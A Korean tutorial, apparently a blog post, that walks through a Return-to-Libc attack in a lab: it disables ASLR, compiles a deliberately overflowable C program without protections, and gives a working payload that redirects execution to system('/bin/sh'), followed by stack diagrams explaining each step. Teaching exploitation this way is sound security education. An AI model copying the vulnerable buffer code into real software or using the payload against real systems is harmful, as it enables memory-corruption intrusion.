RTL(Return To Libc) 실습 및 원리

RTL(Return To Libc) 실습 및 원리

in

RTL은 NX-bit 혹은 DEP를 우회할 수 있는 공격 기법으로 ROP(Return Oriented Programming) 공격 기법의 기본이 되는 공격 기법 입니다. 해당 공격 기법을 이용해서 메모리에 적재되어있는 공유 라이브러리를 이용해 코드상에 존재하지 않는 함수들을 호출할 수 있습니다.

실습은 Ubuntu 18.04 에서 진행되며, 간단한 코드를 이용해 RTL 공격 기법을 직접 수행하면서 원리에 대해 알아봅니다.

ASLR 비활성화

우선 실습에 앞서, 아래 명령어로 ASLR(Address Space Layout Randomization) 을 비활성화 해줍니다.

ASLR이 적용된 상태에서는 libc에서 구한 함수의 주소가 변경되기 때문에 실습을 진행할 수 없습니다.

$ sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0

image ASLR disabled

프로그램 작성 및 컴파일

RTL 실습을 위한 코드를 작성해 줍니다.

#rtl.c
#include <stdio.h>

int main() {
    char buf[100]; // 100byte 크기의 buf 선언
    read(0, buf, 256); // buffer overflow 발생!

    return 0;
}

프로그램 작성 후 아래 명령어로 각종 메모리 보호기법을 해제하여 컴파일 해줍니다.

기본값으로 컴파일 할 경우 canary, pie 등이 적용되어 stack byte의 경계가 달라져서 “seg fault” 에러가 발생 합니다.

$ gcc -m32 -fno-stack-protector -mpreferred-stack-boundary=2 -fno-pie -no-pie -o rtl rtl.c

image compile시 출력되는 에러는 read 함수 대신 fread함수의 사용을 권고하는 에러이므로 무시하셔도 됩니다.

각 옵션들의 의미는 아래와 같습니다.

  • -m32 : 32bit로 컴파일 합니다. 각 함수의 인자를 저장할 때 32bit는 stack에 push 하고, 64bit는 eax, edi, esi 등의 레지스터에 저장하는 차이가 있습니다.
  • -fno-stack-protector : stack canary를 비활성화 합니다.
  • -mpreferred-stack-boundary=2 : 스택 포인터를 4byte 단위로 정렬합니다.
  • -fno-pie, -no-pie : pie를 비활성화 합니다. 해당 옵션 적용 안할시 “seg fault” 에러가 발생합니다.

checksec 명령어를 사용하면 바이너리에 어떤 보호기법이 걸려있는지 확인 할 수 있습니다.

$ checksec --file rtl

image checksec

RTL 실습

gdb를 이용해서 main 함수를 disassemble 합니다.

gef➤  disas main
Dump of assembler code for function main:
   0x08048426 <+0>:	push   ebp
   0x08048427 <+1>:	mov    ebp,esp
   0x08048429 <+3>:	sub    esp,0x64
=> 0x0804842c <+6>:	push   0x100
   0x08048431 <+11>:	lea    eax,[ebp-0x64]
   0x08048434 <+14>:	push   eax
   0x08048435 <+15>:	push   0x0
   0x08048437 <+17>:	call   0x80482e0 <read@plt>
   0x0804843c <+22>:	add    esp,0xc
   0x0804843f <+25>:	mov    eax,0x0
   0x08048444 <+30>:	leave
   0x08048445 <+31>:	ret
End of assembler dump.

*main+6 에서부터 차례대로 256(0x100), buf의 시작주소,0 을 push 하고 read를 호출합니다.
$ebp-0x64 위치에서부터 256byte를 입력할 수 있기때문에 stcak buffer overflow가 발생합니다.

system 함수를 호출하고 “/bin/sh”를 인자로 넣어야 하기 때문에 각각의 주소를 찾아줍니다.

gef➤  p system
$2 = {int (const char *)} 0xf7e263d0 <__libc_system>
gef➤  search-pattern /bin/sh
[+] Searching '/bin/sh' in memory
[+] In '/lib/i386-linux-gnu/libc-2.27.so'(0xf7de9000-0xf7fbe000), permission=r-x
  0xf7f671db - 0xf7f671e2  →   "/bin/sh"
gef➤

image search address 참고로 “/bin/sh” 문자열은 libc-2.27.so 공유라이브러리 내부에 이미 존재하기 때문에 따로 삽입할 필요가 없습니다. 찾은 주소는 아래와 같습니다.

  • system 함수의 주소: 0xf7e263d0
  • “/bin/sh” 문자열 주소: 0xf7f671db

gdb상에서 프로그램 실행시 Python을 이용해 인자를 넣어줍니다.

gef➤  r < <(python -c 'print "A"*104 + "\xd0\x63\xe2\xf7" + "A"*4 + "\xdb\x71\xf6\xf7"')

이후 read함수를 call 하면 stack의 $ebp-0x64 위치에 해당 값을 삽입하게 되고, $ebp 기준 4 word를 출력해보면 아래와 같이 세팅됩니다.

gef➤  x/4wx $ebp
0xffffd568:	0x41414141	0xf7e263d0	0x41414141	0xf7f671db

image ebp data

return address를 system 함수의 주소값, system 함수의 인자로 들어갈 $ebp-8 영역에 “/bin/sh” 문자를 넣게 되는것입니다.

해당 페이로드를 적용하여 바이너리를 실행해보면 “/bin/sh”가 실행되는 것을 확인할 수 있습니다.

$ (python -c 'print "A"*104 + "\xd0\x63\xe2\xf7" + "A"*4 + "\xdb\x71\xf6\xf7"';cat) | ./rtl
id
uid=0(root) gid=0(root) groups=0(root)

image exploit success

RTL 동작과정

위에서 수행한 과정들을 Stack을 구상하여 RTL 공격이 어떻게 수행 되는지 파악해 보겠습니다.

read 함수를 호출하기 전의 stack 입니다.

0x00000000
|  buf     (100byte)   | <= $esp
|  SFP     (4byte)     | <= $ebp
|  RET     (4byte)     |
|  dummy   (4byte)     |
|  dummy   (4byte)     |
0xFFFFFFFF

1. main -> call 0x80482e0 <read@plt>

"A"*104 + "\xd0\x63\xe2\xf7" + "A"*4 + "\xdb\x71\xf6\xf7"'
buf와 SFP를 임의의 값으로 덮어씌우고 return address를 system()으로 변조합니다. 이후 4byte dummy를 넣고 “/bin/sh” 문자열의 주소를 삽입합니다.

0x00000000
|  AAA...    (100byte) | <= $esp
|  AAAA      (4byte)   | <= $ebp
|  system()  (4byte)   | 
|  AAAA      (4byte)   |
|  "/bin/sh" (4byte)   |
0xFFFFFFFF

2. main() -> leave (mov esp, ebp + pop ebp)

leave가 실행되고 $ebp는 dummy 주소로 가게됩니다.

  • mov esp, ebp
0x00000000
|  AAA...    (100byte) | 
|  AAAA      (4byte)   | <= $ebp, $esp
|  system()  (4byte)   | 
|  AAAA      (4byte)   |
|  "/bin/sh" (4byte)   |
0xFFFFFFFF
  • pop ebp
$ebp = ???

0x00000000
|  AAA...    (100byte) | 
|  AAAA      (4byte)   | 
|  system()  (4byte)   | <= esp
|  AAAA      (4byte)   |
|  "/bin/sh" (4byte)   |
0xFFFFFFFF

3. main() -> ret (pop eip, jmp eip)

ret이 실행되고 eip가 system 함수로 이동됩니다.

$ebp = ???
$eip = system()

0x00000000
|  AAA...    (100byte) | 
|  AAAA      (4byte)   | 
|  system()  (4byte)   | 
|  AAAA      (4byte)   | <= $esp
|  "/bin/sh" (4byte)   |
0xFFFFFFFF

4. system() -> push ebp + mov ebp, esp

system 함수에서의 프롤로그가 시작됩니다.
ebp가 적재되면서 main 함수의 return address는 system 함수의 SFP가 되고, “/bin/sh” 주소값 하위의 dummy 4byte는 system 함수의 return addreses가 됩니다.

  • push ebp
$ebp -> ???
$eip -> system()

0x00000000
|  AAA...    (100byte) | 
|  AAAA      (4byte)   | 
|  SFP(???)  (4byte)   | <= $esp
|  RET(AAAA) (4byte)   | 
|  "/bin/sh" (4byte)   |
0xFFFFFFFF
  • mov ebp, esp
$eip = system()

0x00000000
|  AAA...    (100byte) | 
|  AAAA      (4byte)   | 
|  SFP(???)  (4byte)   | <= $ebp, $esp
|  RET(AAAA) (4byte)   |
|  "/bin/sh" (4byte)   |
0xFFFFFFFF

최종적으로, system 함수는 return address + 4byte 떨어진 위치에 존재하는 “/bin/sh”를 인자로 갖고 “/bin/sh”를 실행합니다.

5. system() -> leave + ret

system함수의 에필로그 과정에서, RTL Chaining을 통해 “/bin/sh” 문자열 시작주소를 넣기전 dummy 4byte에 함수의 주소를 넣어, 여러개의 호출을 할 수 있습니다.
여기선 /bin/sh의 실행이 목적이기 때문에 dummy 4byte를 넣습니다.

  • leave
$ebp = ???

0x00000000
|  AAA...    (100byte) | 
|  AAAA      (4byte)   | 
|  SFP(???)  (4byte)   |
|  RET(AAAA) (4byte)   | <= $esp
|  "/bin/sh" (4byte)   |
0xFFFFFFFF
  • ret
$ebp = ???
$eip = ???

0x00000000
|  AAA...    (100byte) | 
|  AAAA      (4byte)   | 
|  SFP(???)  (4byte)   | 
|  RET(AAAA) (4byte)   | 
|  "/bin/sh" (4byte)   | <= $esp
0xFFFFFFFF